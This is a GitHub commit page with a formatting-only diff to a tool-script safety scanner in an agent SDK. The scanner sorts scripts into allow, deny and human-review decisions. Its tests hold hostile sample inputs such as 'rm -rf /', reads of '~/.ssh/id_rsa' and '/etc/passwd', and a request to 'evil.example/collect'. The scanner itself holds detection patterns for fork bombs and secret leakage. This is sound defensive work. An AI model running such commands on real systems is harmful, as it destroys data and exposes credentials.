Skip to content

Commit 4d6c4be

Browse files
committed
style tool safety guard with yapf
1 parent 6bccd36 commit 4d6c4be

5 files changed

Lines changed: 45 additions & 76 deletions

File tree

scripts/tool_safety_check.py

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -30,9 +30,7 @@ def main() -> int:
3030
if language == "auto" and args.file:
3131
language = "python" if args.file.suffix == ".py" else "bash"
3232
scanner = ToolScriptSafetyScanner.from_policy_file(args.policy)
33-
report = scanner.scan(
34-
ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language)
35-
)
33+
report = scanner.scan(ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language))
3634
print(json.dumps(report.model_dump(mode="json"), ensure_ascii=False, indent=2))
3735
return 0 if report.decision.value == "allow" else 2
3836

tests/tools/safety/test_tool_script_safety.py

Lines changed: 8 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,7 @@ def scanner() -> ToolScriptSafetyScanner:
3030
ToolSafetyPolicy(
3131
allowed_domains=["api.example.com"],
3232
allowed_commands=["echo", "pwd", "ls", "cat", "grep", "curl"],
33-
)
34-
)
33+
))
3534

3635

3736
@pytest.mark.parametrize(
@@ -40,8 +39,7 @@ def scanner() -> ToolScriptSafetyScanner:
4039
("safe_python", "python", "items = [1, 2, 3]\nprint(sum(items))", "allow", None),
4140
("dangerous_delete", "bash", "rm -rf /", "deny", "FILE_DESTRUCTIVE"),
4241
("read_ssh_key", "python", "print(open('~/.ssh/id_rsa').read())", "deny", "PATH_FORBIDDEN"),
43-
("network_egress", "python", "requests.get('https://evil.example/collect')", "deny",
44-
"NET_DOMAIN_NOT_ALLOWED"),
42+
("network_egress", "python", "requests.get('https://evil.example/collect')", "deny", "NET_DOMAIN_NOT_ALLOWED"),
4543
("allowed_network", "python", "requests.get('https://api.example.com/health')", "allow", None),
4644
("subprocess", "python", "subprocess.run(['git', 'status'])", "needs_human_review", "PROCESS_SPAWN"),
4745
("shell_injection", "bash", "echo safe; cat /etc/passwd", "deny", "SHELL_CONTROL_OPERATOR"),
@@ -72,16 +70,12 @@ def test_policy_reload_changes_domain_path_and_command(tmp_path):
7270
encoding="utf-8",
7371
)
7472
scanner = ToolScriptSafetyScanner.from_policy_file(policy_file)
75-
report = scanner.scan(
76-
ToolSafetyRequest(tool_name="x", script="status", language="bash")
77-
)
73+
report = scanner.scan(ToolSafetyRequest(tool_name="x", script="status", language="bash"))
7874
assert report.decision == SafetyDecision.ALLOW
79-
assert scanner.scan(ToolSafetyRequest(
80-
tool_name="x", script="curl https://internal.example/ok", language="python"
81-
)).decision == SafetyDecision.ALLOW
82-
assert "PATH_FORBIDDEN" in scanner.scan(ToolSafetyRequest(
83-
tool_name="x", script="open('/sensitive/key')", language="python"
84-
)).rule_ids
75+
assert scanner.scan(ToolSafetyRequest(tool_name="x", script="curl https://internal.example/ok",
76+
language="python")).decision == SafetyDecision.ALLOW
77+
assert "PATH_FORBIDDEN" in scanner.scan(
78+
ToolSafetyRequest(tool_name="x", script="open('/sensitive/key')", language="python")).rule_ids
8579

8680

8781
def test_500_line_scan_is_faster_than_one_second(scanner):
@@ -142,8 +136,7 @@ def test_sensitive_environment_values_are_not_recorded(scanner):
142136
script="print('done')",
143137
language="python",
144138
environment={"API_KEY": "super-secret-value"},
145-
)
146-
)
139+
))
147140
serialized = report.model_dump_json()
148141
assert report.redacted is True
149142
assert "super-secret-value" not in serialized

trpc_agent_sdk/tools/safety/_guard.py

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -112,9 +112,8 @@ async def run(
112112
) -> Any:
113113
report = self.check(request)
114114
approved = bool(request.metadata.get("human_approved"))
115-
if report.decision == SafetyDecision.DENY or (
116-
report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and not approved
117-
):
115+
if report.decision == SafetyDecision.DENY or (report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW
116+
and not approved):
118117
raise ToolSafetyBlockedError(report)
119118
result = executor()
120119
if inspect.isawaitable(result):
@@ -125,19 +124,15 @@ async def run(
125124
try:
126125
result = await asyncio.wait_for(result, timeout=timeout)
127126
except asyncio.TimeoutError as exc:
128-
raise ToolSafetyResourceLimitError(
129-
f"Tool execution exceeded {timeout} seconds"
130-
) from exc
127+
raise ToolSafetyResourceLimitError(f"Tool execution exceeded {timeout} seconds") from exc
131128
if isinstance(result, bytes):
132129
output_size = len(result)
133130
elif isinstance(result, str):
134131
output_size = len(result.encode("utf-8"))
135132
else:
136133
output_size = len(json.dumps(result, default=str).encode("utf-8"))
137134
if output_size > self.scanner.policy.max_output_bytes:
138-
raise ToolSafetyResourceLimitError(
139-
f"Tool output exceeded {self.scanner.policy.max_output_bytes} bytes"
140-
)
135+
raise ToolSafetyResourceLimitError(f"Tool output exceeded {self.scanner.policy.max_output_bytes} bytes")
141136
return result
142137

143138

@@ -168,13 +163,18 @@ async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult):
168163
language=req.get("language", "auto"),
169164
command_args=[str(value) for value in req.get("command_args", [])],
170165
working_directory=req.get("cwd") or req.get("working_directory"),
171-
environment={str(key): str(value) for key, value in req.get("env", {}).items()},
172-
metadata={"timeout": req.get("timeout"), "human_approved": req.get("human_approved", False)},
166+
environment={
167+
str(key): str(value)
168+
for key, value in req.get("env", {}).items()
169+
},
170+
metadata={
171+
"timeout": req.get("timeout"),
172+
"human_approved": req.get("human_approved", False)
173+
},
173174
)
174175
report = self.guard.check(request)
175176
approved = bool(request.metadata.get("human_approved"))
176-
if report.decision == SafetyDecision.DENY or (
177-
report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and not approved
178-
):
177+
if report.decision == SafetyDecision.DENY or (report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW
178+
and not approved):
179179
rsp.rsp = {"success": False, "safety_report": report.model_dump(mode="json")}
180180
rsp.is_continue = False

trpc_agent_sdk/tools/safety/_policy.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,8 +20,7 @@ class ToolSafetyPolicy(BaseModel):
2020
allowed_domains: list[str] = Field(default_factory=list)
2121
allowed_commands: list[str] = Field(default_factory=lambda: ["echo", "pwd", "ls"])
2222
forbidden_paths: list[str] = Field(
23-
default_factory=lambda: ["~/.ssh", ".env", "credentials.json", "/etc/shadow", "/root"]
24-
)
23+
default_factory=lambda: ["~/.ssh", ".env", "credentials.json", "/etc/shadow", "/root"])
2524
max_timeout_seconds: int = 60
2625
max_output_bytes: int = 1_000_000
2726
deny_risk_levels: list[str] = Field(default_factory=lambda: ["critical", "high"])

trpc_agent_sdk/tools/safety/_scanner.py

Lines changed: 21 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,7 @@
2929
RiskLevel.CRITICAL: 4,
3030
}
3131

32-
_SECRET_RE = re.compile(
33-
r"(?i)(api[_-]?key|access[_-]?token|password|passwd|private[_-]?key|secret)"
34-
)
32+
_SECRET_RE = re.compile(r"(?i)(api[_-]?key|access[_-]?token|password|passwd|private[_-]?key|secret)")
3533
_URL_RE = re.compile(r"https?://[^\s'\"\\)]+", re.IGNORECASE)
3634

3735

@@ -100,7 +98,7 @@ def _add(
10098
text: str,
10199
) -> None:
102100
evidence = evidence[:160]
103-
line = text[: text.find(evidence)].count("\n") + 1 if evidence in text else None
101+
line = text[:text.find(evidence)].count("\n") + 1 if evidence in text else None
104102
findings.append(
105103
SafetyFinding(
106104
risk_type=risk_type,
@@ -109,29 +107,25 @@ def _add(
109107
evidence=evidence,
110108
recommendation=recommendation,
111109
line=line,
112-
)
113-
)
110+
))
114111

115-
def _scan_paths(
116-
self, text: str, working_directory: str | None, findings: list[SafetyFinding]
117-
) -> None:
112+
def _scan_paths(self, text: str, working_directory: str | None, findings: list[SafetyFinding]) -> None:
118113
destructive = re.search(
119114
r"(?im)(rm\s+-[^\n]*r[^\n]*\s+(?:/|~)|shutil\.rmtree\s*\(|os\.remove\s*\(|"
120115
r"(?:open|Path)\s*\([^\n]+['\"]w['\"])",
121116
text,
122117
)
123118
if destructive:
124-
self._add(findings, "dangerous_file_operation", RiskLevel.CRITICAL,
125-
"FILE_DESTRUCTIVE", destructive.group(0),
126-
"Restrict writes to an isolated workspace and require explicit approval.", text)
119+
self._add(findings, "dangerous_file_operation", RiskLevel.CRITICAL, "FILE_DESTRUCTIVE",
120+
destructive.group(0), "Restrict writes to an isolated workspace and require explicit approval.",
121+
text)
127122
haystack = " ".join(filter(None, [text, working_directory]))
128123
for forbidden in self.policy.forbidden_paths:
129124
expanded = str(Path(forbidden).expanduser())
130125
candidates = {forbidden, expanded, forbidden.replace("~", "$HOME")}
131126
matched = next((candidate for candidate in candidates if candidate and candidate in haystack), None)
132127
if matched:
133-
self._add(findings, "sensitive_path_access", RiskLevel.HIGH,
134-
"PATH_FORBIDDEN", matched,
128+
self._add(findings, "sensitive_path_access", RiskLevel.HIGH, "PATH_FORBIDDEN", matched,
135129
"Remove sensitive paths or use a narrowly scoped secret provider.", haystack)
136130

137131
def _scan_network(self, text: str, findings: list[SafetyFinding]) -> None:
@@ -142,49 +136,38 @@ def _scan_network(self, text: str, findings: list[SafetyFinding]) -> None:
142136
allowed = any(host == domain.lower() or host.endswith("." + domain.lower())
143137
for domain in self.policy.allowed_domains)
144138
if not allowed:
145-
self._add(findings, "network_egress", RiskLevel.HIGH,
146-
"NET_DOMAIN_NOT_ALLOWED", url,
139+
self._add(findings, "network_egress", RiskLevel.HIGH, "NET_DOMAIN_NOT_ALLOWED", url,
147140
"Add a reviewed domain to allowed_domains or remove the request.", text)
148141
if network_api and not urls:
149-
self._add(findings, "network_egress", RiskLevel.MEDIUM,
150-
"NET_DYNAMIC_DESTINATION", network_api.group(0),
142+
self._add(findings, "network_egress", RiskLevel.MEDIUM, "NET_DYNAMIC_DESTINATION", network_api.group(0),
151143
"Resolve the destination and request human review.", text)
152144

153-
def _scan_processes(
154-
self, text: str, language: str, findings: list[SafetyFinding]
155-
) -> None:
145+
def _scan_processes(self, text: str, language: str, findings: list[SafetyFinding]) -> None:
156146
shell_injection = re.search(r"(?m)(;|&&|\|\||`[^`]+`|\$\([^\)]+\))", text)
157147
if shell_injection:
158-
self._add(findings, "shell_injection", RiskLevel.HIGH,
159-
"SHELL_CONTROL_OPERATOR", shell_injection.group(0),
160-
"Use an argv list and avoid shell interpolation/control operators.", text)
148+
self._add(findings, "shell_injection", RiskLevel.HIGH, "SHELL_CONTROL_OPERATOR", shell_injection.group(0),
149+
"Use an argv list and avoid shell interpolation/control operators.", text)
161150
pipeline = re.search(r"(?<!\|)\|(?!\|)", text) if language in ("auto", "bash", "shell") else None
162151
if pipeline:
163-
self._add(findings, "shell_pipeline", RiskLevel.MEDIUM,
164-
"SHELL_PIPELINE_REVIEW", pipeline.group(0),
152+
self._add(findings, "shell_pipeline", RiskLevel.MEDIUM, "SHELL_PIPELINE_REVIEW", pipeline.group(0),
165153
"Review every pipeline stage and avoid passing untrusted data.", text)
166154
process = re.search(r"(?i)\b(subprocess\.|os\.system\s*\(|sudo\b|nohup\b|&\s*$)", text)
167155
if process:
168-
self._add(findings, "process_execution", RiskLevel.MEDIUM,
169-
"PROCESS_SPAWN", process.group(0),
156+
self._add(findings, "process_execution", RiskLevel.MEDIUM, "PROCESS_SPAWN", process.group(0),
170157
"Use an allowed command with bounded arguments or request review.", text)
171158
command = self._first_command(text) if language in ("auto", "bash", "shell") else None
172159
if command and command not in self.policy.allowed_commands and not process:
173160
if re.match(r"^[A-Za-z0-9_.-]+(?:\s|$)", text.strip()):
174-
self._add(findings, "command_policy", RiskLevel.MEDIUM,
175-
"COMMAND_NOT_ALLOWED", command,
161+
self._add(findings, "command_policy", RiskLevel.MEDIUM, "COMMAND_NOT_ALLOWED", command,
176162
"Add the reviewed command to allowed_commands.", text)
177163

178164
def _scan_dependencies(self, text: str, findings: list[SafetyFinding]) -> None:
179165
match = re.search(r"(?i)\b(?:pip(?:3)?|npm|yarn|apt(?:-get)?|brew)\s+install\b", text)
180166
if match:
181-
self._add(findings, "dependency_install", RiskLevel.HIGH,
182-
"DEPENDENCY_INSTALL", match.group(0),
167+
self._add(findings, "dependency_install", RiskLevel.HIGH, "DEPENDENCY_INSTALL", match.group(0),
183168
"Build dependencies into a reviewed immutable environment.", text)
184169

185-
def _scan_resources(
186-
self, text: str, metadata: dict, findings: list[SafetyFinding]
187-
) -> None:
170+
def _scan_resources(self, text: str, metadata: dict, findings: list[SafetyFinding]) -> None:
188171
patterns: Iterable[tuple[str, RiskLevel, str]] = (
189172
(r"(?m)while\s+True\s*:", RiskLevel.HIGH, "RESOURCE_INFINITE_LOOP"),
190173
(r":\(\)\s*\{\s*:\|:&\s*;\s*\}", RiskLevel.CRITICAL, "RESOURCE_FORK_BOMB"),
@@ -199,13 +182,10 @@ def _scan_resources(
199182
"Apply timeout, process, memory and concurrency limits in a sandbox.", text)
200183
timeout = metadata.get("timeout")
201184
if isinstance(timeout, (int, float)) and timeout > self.policy.max_timeout_seconds:
202-
self._add(findings, "resource_abuse", RiskLevel.MEDIUM,
203-
"RESOURCE_TIMEOUT_LIMIT", str(timeout),
185+
self._add(findings, "resource_abuse", RiskLevel.MEDIUM, "RESOURCE_TIMEOUT_LIMIT", str(timeout),
204186
f"Limit timeout to {self.policy.max_timeout_seconds} seconds.", text)
205187

206-
def _scan_secrets(
207-
self, text: str, environment: dict[str, str], findings: list[SafetyFinding]
208-
) -> bool:
188+
def _scan_secrets(self, text: str, environment: dict[str, str], findings: list[SafetyFinding]) -> bool:
209189
output = re.search(
210190
r"(?is)(print|logging\.[a-z]+|echo|curl|requests\.(?:post|put))[^\n]{0,160}"
211191
r"(api[_-]?key|token|password|private[_-]?key|secret)",
@@ -214,8 +194,7 @@ def _scan_secrets(
214194
sensitive_env = [name for name in environment if _SECRET_RE.search(name)]
215195
if output or sensitive_env:
216196
evidence = output.group(0) if output else f"environment keys: {', '.join(sensitive_env)}"
217-
self._add(findings, "sensitive_data_exposure", RiskLevel.HIGH,
218-
"SECRET_EXPOSURE", evidence,
197+
self._add(findings, "sensitive_data_exposure", RiskLevel.HIGH, "SECRET_EXPOSURE", evidence,
219198
"Redact secrets and pass opaque references instead of secret values.", text)
220199
return True
221200
return False

0 commit comments

Comments
 (0)